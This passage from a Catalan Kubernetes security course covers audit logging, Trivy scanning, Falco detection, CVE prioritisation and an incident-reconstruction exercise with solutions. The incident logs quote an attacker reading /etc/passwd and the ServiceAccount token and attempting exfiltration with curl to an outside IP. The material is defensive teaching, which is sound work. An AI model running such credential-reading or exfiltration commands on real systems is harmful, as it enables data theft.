mkdir -p "$DIR"

echo "Generant evidències per a $TRIMESTRE..."

# 1. Qui pot accedir a Secrets de producció
{
  echo "# Permisos sobre Secrets a rutas-norte-pro — $(date -u)"
  for grup in desenvolupament plataforma suport analitica; do
    for verb in get list watch; do
      printf "%-16s %-6s %s\n" "$grup" "$verb" \
        "$(kubectl auth can-i "$verb" secrets --as-group "$grup" --as auditor -n rutas-norte-pro)"
    done
  done
} > "$DIR/permisos-secrets.txt"

# 2. Accessos reals registrats
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
  | "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.name // "TOTS") \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log > "$DIR/accessos-secrets.txt"

# 3. Estat de vulnerabilitats
kubectl get vulnerabilityreports -A -o json \
  | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)\t\(.report.summary)"' \
  > "$DIR/vulnerabilitats.txt"

# 4. Excepcions vigents
cp seguretat/excepcions-vulnerabilitats.yaml "$DIR/"

# 5. Compliment del clúster
kubectl get clustercompliancereport cis -o yaml > "$DIR/cis.yaml"

# 6. Configuració de seguretat dels namespaces
kubectl get namespaces -o custom-columns=\
'NS:.metadata.name,ENFORCE:.metadata.labels.pod-security\.kubernetes\.io/enforce' \
  > "$DIR/perfils-psa.txt"

echo "Evidències generades a $DIR"
sha256sum "$DIR"/* > "$DIR/CHECKSUMS.txt"

El sha256sum final no és decoratiu: permet demostrar que les evidències no s'han modificat després de generar-se.

  1. Llista de verificació final de seguretat de la plataforma

Aquest és el resum operatiu de tot el mòdul, component a component.

Controls transversals del clúster

# Control Lliçó Verificació
1 RBAC de mínim privilegi, sense comodins 08-01 verificar-rbac.sh en cada canvi
2 Ningú no té cluster-admin de forma permanent llevat d'emergència registrada 08-01 Consulta trimestral de ClusterRoleBinding
3 Només plataforma pot llegir Secrets de producció 08-01 kubectl auth can-i per grup
4 Operadors privilegiats en namespace propi 08-01, 08-03 Revisió de manifests
5 PSA enforce: restricted a pre i pro, baseline a dev 08-03 Etiquetes dels namespaces
6 Versió del PSA fixada (-version) 08-03 Etiquetes dels namespaces
7 Kyverno: registre obligatori, etiquetes, recursos, signatures 08-03, 08-05 PolicyReport sense fail
8 ValidatingAdmissionPolicy prohibint latest 08-03 Prova negativa
9 NetworkPolicy deny-all als tres namespaces, generada per Kyverno 04-06, 08-04 Auditoria de polítiques
10 Control de sortida: només passarel·la de pagaments i SMTP 08-04 verificar-sortida.sh
11 Sense NodePort ni hostPort a producció 08-04 Auditoria de Services
12 apiserver no exposat públicament 08-04 kubectl cluster-info
13 etcd xifrat en repòs, amb Secrets reescrits 08-04 Configuració de l'apiserver
14 Còpies de seguretat d'etcd xifrades i custodiades 08-04, 05-06 Configuració de les còpies
15 kubelet: sense auth anònima, sense port de només lectura 08-04 kube-bench
16 Nodes de pla de control amb taint i sense càrregues d'aplicació 08-04 Auditoria de toleràncies
17 Registre d'auditoria actiu, amb política revisada 08-06 Informe diari
18 Falco desplegat a tots els nodes, amb alerta si falla 08-06 Alerta FalcoNoEstaFuncionant
19 Trivy Operator amb informes sense crítiques sense excepció 08-06 vulnerabilityreports
20 kube-bench setmanal amb línia base coneguda 08-06 CronJob

Per component

Component Sense root RootFS RO Caps ALL Seccomp Token SA Digest Signatura NetPol E/S
botiga-web Sí (101) No munta Entrada Ingress / sense sortida
api-reserves Sí (65532) Munta, RBAC mínim Entrada botiga+Ingress / sortida BD, caché, passarel·la
Ambaixador pagaments Sí (10004) (del pod) (del pod)
postgres-reserves Sí (999) No (excepció) No munta Entrada api+worker+informes / sense sortida
Exportador mètriques Sí (65534) (del pod) (del pod)
redis-cache Sí (999) No munta Entrada api / sense sortida
worker-notificacions Sí (10002) No munta Sense entrada / sortida BD + SMTP
Adaptador logs Sí (10002) (del pod) (del pod)
informes-ocupacio Sí (10003) No munta Sense entrada / sortida BD
Recol·lector logs No (root, justificat) DAC_READ_SEARCH Munta, RBAC lectura Namespace sistema

Excepcions vigents i la seva justificació

Excepció Component Justificació Revisió Responsable
readOnlyRootFilesystem: false postgres-reserves PostgreSQL escriu sockets i temporals fora del volum. Tasca oberta per resoldre-ho amb emptyDir Trimestral Plataforma
hostPath en només lectura Recol·lector de logs Necessita llegir /var/log del node. A rutas-norte-sistema amb perfil privileged Trimestral Plataforma
runAsUser: 0 Recol·lector de logs Els logs del node són de root. Mitigat: sense privilegis, només DAC_READ_SEARCH, muntatge de només lectura Trimestral Plataforma
hostPID kube-bench (CronJob) Necessita inspeccionar la configuració del node. Només lectura, execució setmanal acotada Trimestral Plataforma
CVE-2025-98004 api-reserves, worker Sense correcció; ruta no executada 2026-10-01 Plataforma
CVE-2026-10877 api-reserves Requereix migració d'imatge base 2026-09-15 Equip API

Una llista d'excepcions que cap en una taula i en la qual cada línia té motiu, data i responsable és el senyal d'una plataforma ben gestionada. Una llista que no existeix, o que ningú no ha mirat en un any, significa que les excepcions hi són igualment: simplement no es coneixen.

Errors Comuns i Consells

Configurar RequestResponse sobre Secrets. Escriu el contingut del secret al log d'auditoria. Les credencials de la base de dades de clients acabarien replicades al sistema de logs i a les seves còpies. Sempre Metadata per a Secrets.

Registrar-ho tot sense filtrar el soroll. El volum es dispara, el disc s'omple i —el pitjor— si l'apiserver no pot escriure el log d'auditoria, deixa de servir peticions. Posa les regles de None primer.

Enviar el registre d'auditoria al mateix sistema on escriuen els pods. Qui comprometi el clúster pot manipular les evidències. Ha d'anar a un destí on el clúster només pugui escriure.

Oblidar que el registre d'auditoria conté dades personals. Noms d'usuari i IP d'empleats. Necessita la seva pròpia base legal, retenció i control d'accés.

Escanejar només a la canalització. Una imatge neta al juny té crítiques a l'agost. Escaneig continu del registre i del que està corrent.

Escanejar els manifests en lloc del que corre. Escaneja per imageID (el digest efectiu), que és el que realment s'està executant.

No fer servir --ignore-unfixed. Una vulnerabilitat sense pedaç bloqueja tots els desplegaments, l'equip se'n cansa i desactiva la comprovació. Una porta sempre tancada acaba desmuntada.

.trivyignore sense motiu, responsable ni data de caducitat. Es converteix en el cementiri de les vulnerabilitats que ningú no va voler mirar.

Tractar tots els CVE crítics com igual d'urgents. Sense considerar exposició, ruta d'execució i explotació real, l'equip s'esgota amb l'irrellevant i arriba tard a l'important.

Ignorar les troballes de kube-bench inaplicables a Kubernetes gestionat. Documenta-les com a gestionades pel proveïdor, no les esborris en silenci.

Alertar de les mateixes troballes conegudes cada setmana. Compara amb una línia base i alerta només de les desviacions noves.

Desplegar Falco i encaminar les seves alertes a la guàrdia des del primer dia. Els falsos positius inicials faran que l'equip silenciï el canal, i amb ell les alertes reals.

Desactivar una regla sencera de Falco per un fals positiu. Fes servir excepcions acotades per aplicació i procés.

No vigilar que Falco estigui funcionant. Un detector apagat no genera alertes, i l'absència d'alertes es confon amb l'absència de problemes.

Tenir eines sense procés. Tres-centes troballes sense inventari, prioritat, termini ni responsable són tres-centes coses que ningú no arreglarà.

Generar les evidències la setmana abans de l'auditoria. Automatitza-les, amb data i checksum. A més de ser més creïble, estalvia el pànic.

Consell d'or: les tres preguntes que has de poder respondre en qualsevol moment, i amb evidència, són: qui va accedir a les dades de clients?, quines vulnerabilitats explotables tinc ara mateix en el que està corrent? i què està passant dins dels meus contenidors?. Auditoria, escaneig continu i detecció en temps d'execució. Si te'n falta una, tens un punt cec.

Exercicis

Exercici 1: escriure una regla de política d'auditoria

L'equip de compliment demana poder respondre a aquesta pregunta: "qui ha modificat la configuració dels CronJobs de producció i què va canviar exactament?". A més, vol que les lectures rutinàries de ConfigMaps per part del kubelet deixin d'ocupar espai al log.

  1. Escriu les dues regles de política d'auditoria necessàries, indicant on han d'anar a l'ordre del fitxer i per què.
  2. Escriu la consulta jq que respon a la pregunta.
  3. Explica per què el nivell triat és l'adequat i què hauria passat amb els altres tres.

Exercici 2: prioritzar quatre troballes

L'escaneig setmanal retorna aquestes quatre troballes a producció:

# CVE Severitat Component Imatge Estat Detall
A CVE-2026-13001 CRITICAL (9.8) libxml2 postgres-reserves fixed Execució remota en analitzar XML malformat. PostgreSQL fa servir libxml2 només per al tipus de dada xml, que Rutas Norte no utilitza
B CVE-2026-13045 HIGH (8.1) express api-reserves fixed Confusió de tipus en l'anàlisi de paràmetres de consulta. Al catàleg KEV
C CVE-2026-12988 CRITICAL (9.4) openssl worker-notificacions affected Sense correcció. Afecta la verificació de certificats de client; el worker només actua com a client TLS cap a l'SMTP
D CVE-2026-13102 MEDIUM (5.3) nginx botiga-web fixed Divulgació d'informació en respostes d'error quan server_tokens està actiu

Per a cadascuna:

  1. Assigna una prioritat (P1-P5) segons la taula de l'apartat 10 i justifica-la.
  2. Indica l'acció concreta i el termini.
  3. Per a les que no es corregeixin immediatament, escriu l'entrada del registre d'excepcions.

Exercici 3: reconstruir un incident amb tres fonts

A les 03:47 del 6 d'agost salta una alerta. Tens tres fonts d'informació:

Registre d'auditoria:

03:47:09Z  system:serviceaccount:rutas-norte-pro:worker-notificacions  list  secrets/-  403
03:47:14Z  system:serviceaccount:rutas-norte-pro:worker-notificacions  create  pods/exec  403
03:47:31Z  system:serviceaccount:rutas-norte-pro:worker-notificacions  get  configmaps/worker-config  200

Falco:

03:47:08.229 Critical Shell oberta a produccio (proces=sh -c "cat /etc/passwd"
pare=node pod=worker-notificacions-6d4f8b9c7-k9x2 ns=rutas-norte-pro)
03:47:09.884 Critical Token de ServiceAccount llegit per proces inesperat
(proces=cat /var/run/secrets/kubernetes.io/serviceaccount/token pare=sh
pod=worker-notificacions-6d4f8b9c7-k9x2)
03:47:12.155 Critical Eina de descarrega a produccio (proces=curl -X POST
https://192.0.2.55/r -d @- pare=sh pod=worker-notificacions-6d4f8b9c7-k9x2)

Hubble (de 08-04):

03:47:12.401 rutas-norte-pro/worker-notif-k9x2 -> 192.0.2.55:443  DROPPED  Policy denied
03:47:13.455 rutas-norte-pro/worker-notif-k9x2 -> 192.0.2.55:53   DROPPED  Policy denied
  1. Reconstrueix la seqüència completa del que va passar, amb l'hora de cada pas.
  2. Indica quin control va aturar cada intent i quin hauria estat el resultat si aquell control no existís.
  3. Hi ha una dada a les tres fonts que revela alguna cosa important sobre la imatge desplegada, que contradiu la política de 08-05. Identifica-la.
  4. Escriu les cinc accions immediates i les tres correccions de fons.

Solucions

Solució 1

1. Les dues regles:

apiVersion: audit.k8s.io/v1
kind: Policy
omitStages: [RequestReceived]
rules:
  # ---------------------------------------------------------------
  # REGLA A: descartar el soroll del kubelet llegint ConfigMaps.
  # HA D'ANAR AL PRINCIPI del fitxer, al bloc de None.
  # Motiu: la política s'avalua en ordre i s'aplica la PRIMERA
  # regla que coincideix. Si aquesta anés després de la regla B o de
  # qualsevol regla genèrica, aquelles lectures ja s'haurien registrat.
  # ---------------------------------------------------------------
  - level: None
    users: ["system:kubelet"]
    userGroups: ["system:nodes"]
    verbs: ["get", "list", "watch"]
    resources:
      - group: ""
        resources: ["configmaps"]

  # ... (resta del bloc de None: sondes, controladors, esdeveniments) ...

  # ---------------------------------------------------------------
  # REGLA B: escriptures sobre CronJobs de producció, amb el cos.
  # Va al bloc de regles específiques, ABANS de les regles
  # genèriques de nivell Metadata que capturarien aquestes peticions
  # amb menys detall.
  # ---------------------------------------------------------------
  - level: Request
    verbs: ["create", "update", "patch", "delete"]
    namespaces: ["rutas-norte-pro"]
    resources:
      - group: "batch"
        resources: ["cronjobs"]

  # ... (resta de regles específiques) ...

  # Regla genèrica final
  - level: Metadata

El raonament de l'ordre és l'important de l'exercici. Amb la política avaluant-se de dalt a baix i aplicant la primera coincidència:

  • La regla A abans de tot: si estigués al final, les lectures del kubelet ja haurien coincidit amb la regla genèrica Metadata i serien al log.
  • La regla B abans de la genèrica Metadata: si estigués després, les escriptures sobre CronJobs es registrarien amb nivell Metadata i no tindríem el cos, que és just el que demana l'enunciat.

2. La consulta:

jq -r 'select(
    .objectRef.resource == "cronjobs" and
    .objectRef.namespace == "rutas-norte-pro" and
    (.verb | test("create|update|patch|delete"))
  )
  | "=== \(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.name)  [\(.responseStatus.code)]",
    "    programacio: \(.requestObject.spec.schedule // "sense canvi")",
    "    imatge: \(.requestObject.spec.jobTemplate.spec.template.spec.containers[0].image // "sense canvi")",
    "    suspes: \(.requestObject.spec.suspend // false)"' \
  /var/log/kubernetes/auditoria.log
=== 2026-08-05T18:22:41Z  [email protected]  patch  informes-ocupacio  [200]
    programacio: 0 4 * * *
    imatge: registry.rutasnorte.example/rutasnorte/informes-ocupacio@sha256:8a3f...
    suspes: false
=== 2026-08-06T02:11:09Z  system:serviceaccount:argocd:argocd-application-controller  patch  informes-ocupacio  [200]
    programacio: 0 3 * * *
    imatge: registry.rutasnorte.example/rutasnorte/informes-ocupacio@sha256:8a3f...
    suspes: false

Interpretació: algú va canviar l'hora d'execució de les 03:00 a les 04:00 a la tarda, i Argo CD la va revertir a les 02:11 perquè el canvi no era a Git. És exactament el comportament esperat de GitOps (10-05), i el registre d'auditoria ho documenta.

3. Per què Request i no els altres:

Nivell Què hauria passat
None No es registraria res: no es podria respondre a la pregunta
Metadata Sabríem qui va modificar el CronJob i quan, però no què va canviar. La pregunta demana "i què va canviar exactament"
Request Correcte: metadades més l'objecte enviat, que conté la programació, la imatge i la resta de l'especificació
RequestResponse Afegiria l'objecte retornat pel servidor, que per a un patch és pràcticament el mateix objecte ja aplicat. Duplica la mida sense aportar informació útil

Un matís per completar la resposta: amb Request veiem l'objecte enviat, que en un patch pot ser només el fragment modificat, no l'objecte complet. Si calgués l'estat resultant complet, RequestResponse seria justificable. Per a CronJobs no hi ha risc de dades personals al cos, així que seria una opció acceptable; simplement no és necessària.

Solució 2

Troballa B — CVE-2026-13045 (express, api-reserves)

Factor Valoració
Severitat HIGH (8.1)
Correcció?
Al KEV? Sí: explotació confirmada
Exposició api-reserves atén peticions d'internet a través de l'Ingress
Ruta d'execució : l'anàlisi de paràmetres de consulta s'executa en cada petició
Dades afectades Dona accés potencial a l'API que serveix dades de clients

Prioritat: P1. Termini: 24 hores.

Encara que el seu CVSS (8.1) és inferior al dels dos crítics, és el més urgent dels quatre: és al catàleg de vulnerabilitats explotades activament, afecta un component exposat a internet, la ruta vulnerable s'executa en cada petició i dona accés a dades personals. És l'exemple canònic de per què la severitat sola no n'hi ha prou per prioritzar.

Acció: actualitzar express a la versió corregida, reconstruir api-reserves, escanejar, signar i desplegar avui mateix. Si el cicle complet no cabés en 24 hores, mitigar mentrestant amb una regla del WAF (08-04) que rebutgi el patró de petició afectat.


Troballa D — CVE-2026-13102 (nginx, botiga-web)

Factor Valoració
Severitat MEDIUM (5.3)
Correcció?
Exposició botiga-web està exposat a internet
Ruta d'execució Només si server_tokens està actiu
Compensació Comprovable immediatament

Prioritat: P4 (90 dies), amb una mitigació immediata de cost zero.

Acció: primer comprovar la configuració:

kubectl exec -n rutas-norte-pro deploy/botiga-web -- \
  grep -r server_tokens /etc/nginx/ || echo "no configurat (valor per defecte: on)"

Si està actiu, desactivar-lo al ConfigMap de nginx és un canvi d'una línia que elimina l'exposició avui, independentment de la correcció. Després, l'actualització de la imatge entra al cicle normal de reconstrucció setmanal.

És un bon exemple que la mitigació de configuració pot ser més ràpida que el pedaç, i no s'ha de descartar per ser "menys definitiva".


Troballa A — CVE-2026-13001 (libxml2, postgres-reserves)

Factor Valoració
Severitat CRITICAL (9.8)
Correcció?
Al KEV? No
Exposició postgres-reserves no és assolible des d'internet (NetworkPolicy de 08-04)
Ruta d'execució No: requereix el tipus de dada xml, que no es fa servir
Dades afectades Si s'explotés, accés total a les dades de clients

Prioritat: P3 (30 dies).

És CRITICAL amb 9.8, i tot i així no és urgent: la ruta vulnerable requereix processar XML, i l'esquema de Rutas Norte no té cap columna de tipus xml. A més, el component no és assolible des de fora del clúster.

Però hi ha dos matisos importants que impedeixen baixar-lo més:

  1. La verificació que no es fa servir XML ha de ser comprovada, no suposada. Cal executar una consulta que confirmi que cap taula no fa servir aquell tipus:
    SELECT table_name, column_name, data_type
    FROM information_schema.columns
    WHERE data_type = 'xml';
    
  2. Si s'explotés, l'impacte seria màxim: són les dades personals de tots els clients. Quan l'impacte potencial és aquest, no es baixa de P3 encara que l'explotabilitat sigui baixa.

Acció: actualitzar la imatge replicada de PostgreSQL al cicle mensual d'imatges externes/.


Troballa C — CVE-2026-12988 (openssl, worker-notificacions)

Factor Valoració
Severitat CRITICAL (9.4)
Correcció? No: affected, sense pedaç disponible
Ruta d'execució No: afecta la verificació de certificats de client, i el worker només actua com a client
Exposició Sense entrada de xarxa (NetworkPolicy de 08-04)

Prioritat: P5 → requereix excepció documentada.

No hi ha correcció disponible, així que no hi ha acció possible més enllà de vigilar. I la ruta afectada no s'executa: la verificació de certificats de client és el que fa un servidor TLS, i worker-notificacions només obre connexions sortints cap a l'SMTP.

Entrada del registre d'excepcions:

  - cve: CVE-2026-12988
    component: openssl
    imatges: ["rutasnorte/worker-notificacions"]
    severitat: CRITICAL
    cvss: 9.4
    estat_correccio: affected   # sense pedaç del mantenidor
    motiu: >-
      La vulnerabilitat afecta la ruta de verificació de certificats de
      CLIENT, que només s'executa quan el procés actua com a servidor TLS.
      worker-notificacions únicament obre connexions sortints cap al
      servidor SMTP del proveïdor, actuant sempre com a client. La ruta de
      codi vulnerable no s'executa.
      Verificat per: revisió del codi de l'aplicació i del SBOM.
    mitigacio: >-
      El component no accepta connexions entrants (NetworkPolicy sense regles
      d'Ingress, 08-04). Corre sense root, amb capacitats eliminades i sistema
      de fitxers de només lectura (08-02).
    aprovada_per: seguretat
    responsable: plataforma
    data_aprovacio: 2026-08-06
    data_caducitat: 2026-09-06     # revisió mensual: pot sortir el pedaç
    revisio: mensual
    seguiment: >-
      Comprovar setmanalment si el mantenidor publica correcció. Tan bon punt
      existeixi, aquesta excepció es tanca i passa a P2.

Resum de prioritats:

Ordre Troballa CVSS Prioritat Termini
1 Bexpress 8.1 P1 24 h
2 Dnginx 5.3 P4 + mitigació avui Mitigar avui, apedaçar en 90 dies
3 Alibxml2 9.8 P3 30 dies
4 Copenssl 9.4 P5 (excepció) Vigilància mensual

L'ordre no coincideix amb el dels CVSS. Aquesta és exactament la lliçó: prioritzar per severitat abstracta hauria posat A i C primer (els dos CRITICAL) i B en tercer lloc, retardant l'única que s'està explotant activament en un component exposat a internet.

Solució 3

1. Reconstrucció de la seqüència

Hora Font Què va passar
03:47:08.229 Falco Es llança sh -c "cat /etc/passwd" amb node com a procés pare. El procés de l'aplicació ha executat un intèrpret d'ordres: és el moment del compromís, probablement una injecció d'ordres a través de l'aplicació
03:47:09.884 Falco Des d'aquella shell es llegeix el token de la ServiceAccount: fase de reconeixement, busca credencials
03:47:09 Auditoria Fa servir aquell token: intenta list secrets al namespace → 403
03:47:12.155 Falco Executa curl -X POST https://192.0.2.55/r -d @-: intent d'exfiltració cap a una IP externa
03:47:12.401 Hubble Aquella connexió al port 443 → DROPPED, Policy denied
03:47:13.455 Hubble Reintent pel port 53 (tècnica per travessar tallafocs permissius) → DROPPED
03:47:14 Auditoria Canvia d'estratègia: intenta create pods/exec per saltar a un altre pod → 403
03:47:31 Auditoria Es conforma amb el que sí que pot: llegeix configmaps/worker-config200

Seqüència clàssica i completa en 23 segons: compromís → reconeixement de credencials → intent d'escalada → intent d'exfiltració → intent de moviment lateral → replegament al que sí que està permès.

2. Què va aturar cada intent

Intent Control que el va aturar Lliçó Sense aquell control
Llistar secrets RBAC: la SA del worker no té permís sobre secrets 08-01 Hauria obtingut les credencials de postgres-reserves: accés directe a les dades personals de tots els clients
Exfiltrar per HTTPS NetworkPolicy d'egrés: el worker només pot sortir a l'SMTP 08-04 Les dades que ja tenia haurien sortit del clúster. Fuga de dades consumada
Exfiltrar pel 53 La mateixa política 08-04 Ídem
pods/exec en un altre pod RBAC: la SA no té aquell subrecurs 08-01 Moviment lateral a api-reserves o a postgres-reserves
Llegir el ConfigMap Res: era un permís legítim (Va passar)

Els quatre controls del mòdul van funcionar. I les tres fonts de detecció van funcionar: Falco va veure el que passava dins del contenidor, l'auditoria va veure els intents contra l'API, i Hubble va veure els intents contra la xarxa. Cap de les tres, per si sola, explicava la història completa.

3. La dada que contradiu la política de 08-05

Hi ha un intèrpret d'ordres (sh) i hi ha curl dins de la imatge de worker-notificacions.

Segons la política d'imatges de 08-05, worker-notificacions s'havia de construir sobre gcr.io/distroless/nodejs22, que no conté shell ni cap utilitat. Que l'atacant hagi pogut executar sh -c i curl demostra que la imatge desplegada no és distroless.

Les implicacions són serioses i cal investigar-les:

  • Es va canviar el Dockerfile sense que ningú el revisés?
  • Es va desplegar una imatge d'una altra procedència? (la verificació de signatura ho hauria d'haver impedit)
  • La política de Kyverno de 08-05 està en Audit en lloc d'Enforce?
  • El digest desplegat coincideix amb el que la canalització va signar?

I hi ha una lliçó de fons molt valuosa: la imatge mínima no és només una reducció de superfície de vulnerabilitats, és una reducció de capacitat de l'atacant. Amb distroless, els passos de 03:47:08 i 03:47:12 haurien estat impossibles: no hi ha sh que llançar ni curl que executar. El compromís inicial hauria passat igualment, però l'atacant s'hauria quedat amb un procés de Node i cap eina.

Comprovació immediata:

# Quin digest està corrent realment?
kubectl get pod -n rutas-norte-pro worker-notificacions-6d4f8b9c7-k9x2 \
  -o jsonpath='{.status.containerStatuses[?(@.name=="worker")].imageID}{"\n"}'

# Coincideix amb el que va signar la canalització?
cosign verify \
  --certificate-identity-regexp "https://git.rutasnorte.example/plataforma/.*" \
  --certificate-oidc-issuer "https://git.rutasnorte.example" \
  "<el digest anterior>"

# La imatge té shell?
trivy image --list-all-pkgs "<el digest>" | grep -E 'busybox|bash|coreutils|curl'

4. Accions immediates i correccions de fons

Cinc accions immediates (primers 30 minuts):

# Acció Ordre
1 Aïllar el pod sense destruir-lo kubectl label pod -n rutas-norte-pro worker-notificacions-6d4f8b9c7-k9x2 app- estat=en-quarantena (el ReplicaSet en crea un de net automàticament)
2 Aplicar la NetworkPolicy de quarantena La de l'exercici de 08-04: denegació total per a estat: en-quarantena
3 Rotar les credencials accessibles des d'aquell pod Credencials de la BD que feia servir, credencials SMTP, i el token de la seva ServiceAccount
4 Determinar l'abast amb les tres fonts Auditoria, Falco i Hubble de les últimes 72 hores per a aquell pod i per a tots els del namespace
5 Notificar el responsable de compliment Hi ha indicis d'intent d'accés a dades personals; els terminis de notificació comencen en conèixer-se el fet

Tres correccions de fons:

# Correcció Per què
1 Investigar i corregir la imatge no conforme. Verificar que el Dockerfile fa servir distroless, que la política de verificació de signatures està en Enforce i que el digest desplegat és el signat És la desviació que va ampliar la capacitat de l'atacant. Sense resoldre-la, el pròxim incident serà igual
2 Trobar i tancar el vector d'entrada. El pare de la shell era node: hi ha una injecció d'ordres al codi del worker. Revisar el codi, escanejar les dependències, aplicar el procés de gestió de vulnerabilitats de l'apartat 10 Tota la resta va ser contenció; això és la causa
3 Revisar els permisos del worker. Necessitava configmaps/worker-config i res més. Verificar amb kubectl auth can-i --list que no té permisos de més, i confirmar que la seva NetworkPolicy només permet BD i SMTP Aplicar la lliçó de l'incident a la resta de components

I una quarta que no és tècnica però és igual d'important: documentar l'incident complet amb la seva cronologia, els controls que van funcionar, els que van faltar i les accions preses. És evidència per a l'auditoria, material de formació per a l'equip i la base per a la revisió trimestral de seguretat.

Conclusió

Amb aquesta lliçó tanquem el mòdul 8 i les dues preguntes que quedaven obertes:

  • El registre d'auditoria de l'apiserver respon a "qui va fer què?". La seva política té quatre nivells —None, Metadata, Request, RequestResponse— i s'avalua en ordre, aplicant la primera regla que coincideix. Per a Secrets, sempre Metadata: RequestResponse escriuria les credencials de la base de dades de clients al log. Destins de fitxer i de webhook, i el webhook ha d'apuntar a un sistema on el clúster només pugui escriure.
  • Amb jq sobre el fitxer es responen preguntes concretes en segons: qui va llegir les credencials, qui va esborrar aquell Deployment, què va fer aquella ServiceAccount, qui va entrar en un contenidor de producció, qui va canviar el RBAC. I els 403 registrats són senyals de detecció, no no-esdeveniments.
  • Trivy escaneja imatges localment, a la canalització amb llindar que trenca la construcció (amb --ignore-unfixed, o la porta acaba desmuntada) i de forma contínua sobre el que està corrent per digest. El Trivy Operator ho automatitza dins del clúster i publica els resultats com a recursos personalitzats que s'integren amb Prometheus.
  • kube-bench avalua la configuració del clúster contra els estàndards CIS. Les seves troballes es gestionen comparant amb una línia base coneguda, i les inaplicables a Kubernetes gestionat es documenten, no s'ignoren.
  • Falco aporta la detecció en temps d'execució que cap control preventiu no pot donar, observant crides al sistema. Les seves millors regles no són genèriques: són el reflex de les decisions de disseny de les lliçons anteriors —sense shell perquè fem servir distroless, sense escriptura al sistema perquè el rootfs és de només lectura, sense lectura de tokens perquè els vam desmuntar—. Les seves alertes s'integren amb l'Alertmanager del mòdul 7, i cal vigilar que Falco estigui funcionant.
  • I el que de debò falta a la majoria d'equips: la gestió de vulnerabilitats com a procés, amb inventari, priorització realista (no tot CVE crític és urgent: compten l'explotació real, l'exposició i la ruta d'execució), terminis per severitat, responsable assignat i excepcions documentades amb data de caducitat que bloquegin la construcció en vèncer.
  • Les evidències es generen automàticament, amb data i checksum, no la setmana abans de l'auditoria. I el mateix registre d'auditoria conté dades personals dels empleats: necessita la seva base legal, la seva retenció i el seu control d'accés.

La llista de verificació final recorre els vint controls transversals del clúster i els deu components de Rutas Norte, amb les seves excepcions vigents, cadascuna amb motiu, data de revisió i responsable.

Amb això, la plataforma Rutas Norte és segura i observable. Sabem qui pot fer què, què pot fer cada contenidor, què parla amb què, què s'executa exactament, qui fa què i què està passant a dins. I quan alguna cosa falla, hi ha tres fonts independents que ho expliquen.

Però hi ha una cosa que hem arrossegat durant vuit mòduls sense qüestionar-la. Mira el manifest d'api-reserves: replicas: 4. Quatre. Un número que algú va escriure a mà un dia, mirant el trànsit d'aquell moment. botiga-web en té tres. worker-notificacions, dos.

Aquells números estan congelats. No canvien quan a les tres de la tarda d'un dimarts de febrer sobra la meitat de la capacitat, ni quan el pont de maig arriba i mig país decideix comprar bitllets d'autobús el mateix dijous a la tarda. La plataforma està perfectament protegida i perfectament incapaç d'adaptar-se a la seva pròpia càrrega. I una plataforma que no respon quan més se la necessita ha fallat igual que si l'haguessin atacada: els clients no compren bitllets, i tant és si és per un incident de seguretat o per saturació.

El mòdul 9, Escalat i Rendiment, resol exactament això: autoescalat horitzontal de pods segons la càrrega real, autoescalat vertical per ajustar les peticions de recursos, autoescalat del mateix clúster quan els nodes no donen més, escalat per esdeveniments i mètriques personalitzades amb KEDA, alta disponibilitat amb PodDisruptionBudgets i distribució per topologia, i l'ajust fi de rendiment. Comencem pel més important: 09-01, Autoescalat Horitzontal de Pods.

Curs de Kubernetes

Mòdul 1: Introducció a Kubernetes

Mòdul 2: Components Principals de Kubernetes

Mòdul 3: Gestió de Configuració i Secrets

Mòdul 4: Xarxes a Kubernetes

Mòdul 5: Emmagatzematge a Kubernetes

Mòdul 6: Conceptes Avançats de Kubernetes

Mòdul 7: Monitoratge i Registre

Mòdul 8: Seguretat a Kubernetes

Mòdul 9: Escalat i Rendiment

Mòdul 10: Ecosistema i Eines de Kubernetes

Mòdul 11: Estudis de Cas i Aplicacions del Món Real

Mòdul 12: Preparació per a la Certificació de Kubernetes

© Copyright 2026. Tots els drets reservats